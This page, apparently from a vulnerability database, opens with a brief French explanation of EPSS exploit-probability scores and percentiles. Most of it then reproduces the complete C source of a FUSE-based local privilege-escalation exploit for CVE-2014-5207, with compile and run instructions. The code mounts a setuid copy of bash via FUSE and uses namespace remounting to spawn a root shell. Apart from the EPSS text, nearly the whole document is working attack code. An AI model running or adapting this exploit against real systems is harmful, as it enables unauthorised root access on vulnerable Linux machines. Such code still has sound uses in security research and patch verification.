EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
/*
FUSE-based exploit for CVE-2014-5207
Copyright (c) 2014 Andy Lutomirski
Based on code that is:
Copyright (C) 2001-2007 Miklos Szeredi <
[email protected]>
This program can be distributed under the terms of the GNU GPL.
See the file COPYING.
gcc -Wall fuse_suid.c `pkg-config fuse --cflags --libs` -o fuse_suid
mkdir test
./fuse_suid test
This isn't a work of art: it doesn't clean up after itself very well.
*/
#define _GNU_SOURCE
#define FUSE_USE_VERSION 26
#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <err.h>
#include <sched.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mount.h>
#include <unistd.h>
static const char *sh_path = "/sh";
static int sh_fd;
static loff_t sh_size;
static int hello_getattr(const char *path, struct stat *stbuf)
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, sh_path) == 0) {
stbuf->st_mode = S_IFREG | 04755;
stbuf->st_nlink = 1;
stbuf->st_size = sh_size;
} else
res = -ENOENT;
return res;
}
static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0)
return -ENOENT;
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, sh_path + 1, NULL, 0);
return 0;
}
static int hello_open(const char *path, struct fuse_file_info *fi)
{
if (strcmp(path, sh_path) != 0)
return -ENOENT;
if ((fi->flags & 3) != O_RDONLY)
return -EACCES;
return 0;
}
static int hello_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
(void) fi;
if (strcmp(path, sh_path) != 0)
return -ENOENT;
return pread(sh_fd, buf, size, offset);
}
static struct fuse_operations hello_oper = {
.getattr = hello_getattr,
.readdir = hello_readdir,
.open = hello_open,
.read = hello_read,
};
static int evilfd = -1;
static int child2(void *mnt_void)
{
const char *mountpoint = mnt_void;
int fd2;
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0)
err(1, "unshare");
if (mount(mountpoint, mountpoint, NULL, MS_REMOUNT | MS_BIND, NULL) < 0)
err(1, "mount");
fd2 = open(mountpoint, O_RDONLY | O_DIRECTORY);
if (fd2 == -1)
err(1, "open");
if (dup3(fd2, evilfd, O_CLOEXEC) == -1)
err(1, "dup3");
close(fd2);
printf("Mount hackery seems to have worked.\n");
exit(0);
}
static int child1(const char *mountpoint)
{
char child2stack[2048];
char evil_path[1024];
evilfd = dup(0);
if (evilfd == -1)
err(1, "dup");
if (clone(child2, child2stack,
CLONE_FILES | CLONE_VFORK,
(void *)mountpoint) == -1)
err(1, "clone");
printf("Here goes...\n");
sprintf(evil_path, "/proc/self/fd/%d/sh", evilfd);
execl(evil_path, "sh", "-p", NULL);
perror(evil_path);
return 1;
}
static int fuse_main_suid(int argc, char *argv[],
const struct fuse_operations *op,
void *user_data)
{
struct fuse *fuse;
char *mountpoint;
int multithreaded;
int res;
if (argc != 2) {
printf("Usage: fuse_suid <mountpoint>\n");
return -EINVAL;
}
char *args[] = {"fuse_suid", "-f", "--", argv[1], NULL};
fuse = fuse_setup(sizeof(args)/sizeof(args[0]) - 1, args,
op, sizeof(*op), &mountpoint,
&multithreaded, user_data);
if (fuse == NULL)
return 1;
printf("FUSE initialized. Time to have some fun...\n");
printf("Warning: this exploit hangs on exit. Hit Ctrl-C when done.\n");
if (fork() == 0)
_exit(child1(mountpoint));
if (multithreaded)
res = fuse_loop_mt(fuse);
else
res = fuse_loop(fuse);
fuse_teardown(fuse, mountpoint);
if (res == -1)
return 1;
return 0;
}
int main(int argc, char *argv[])
{
sh_fd = open("/bin/bash", O_RDONLY);
if (sh_fd == -1)
err(1, "sh");
sh_size = lseek(sh_fd, 0, SEEK_END);
return fuse_main_suid(argc, argv, &hello_oper, NULL);
}